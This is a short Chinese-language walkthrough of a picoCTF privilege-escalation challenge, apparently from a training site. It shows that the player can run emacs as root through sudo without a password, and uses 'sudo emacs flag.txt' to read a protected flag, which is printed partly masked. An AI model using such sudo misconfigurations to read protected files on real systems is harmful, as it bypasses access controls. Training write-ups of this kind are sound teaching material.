題目連結

https://learn.cylabacademy.org/library/735

題目解法

  1. 使用題目提供的 ssh 連線進去後,可以看到家目錄中有 flag.txt,但沒有權限讀取。

    ctf-player@challenge:~$ ls
    flag.txt
    ctf-player@challenge:~$ cat flag.txt
    cat: flag.txt: Permission denied
    ctf-player@challenge:~$ sudo cat flag.txt 
    [sudo] password for ctf-player: 
    Sorry, user ctf-player is not allowed to execute '/usr/bin/cat flag.txt' as root on challenge.
    
  2. 使用 sudo 加上 -l 參數可以查看當前使用者使用 sudo 的權限,發現可以使用 sudo 執行 emacs 指令。

    ctf-player@challenge:~$ sudo -l
    Matching Defaults entries for ctf-player on challenge:
        env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
    
    User ctf-player may run the following commands on challenge:
        (ALL) NOPASSWD: /bin/emacs
    
  3. emacs 是一個文字編輯器,可以使用 emacs 開啟 flag.txt,就可以看到裡面的內容了。

    sudo emacs flag.txt
    
    picoCTF{ju5---------------30f}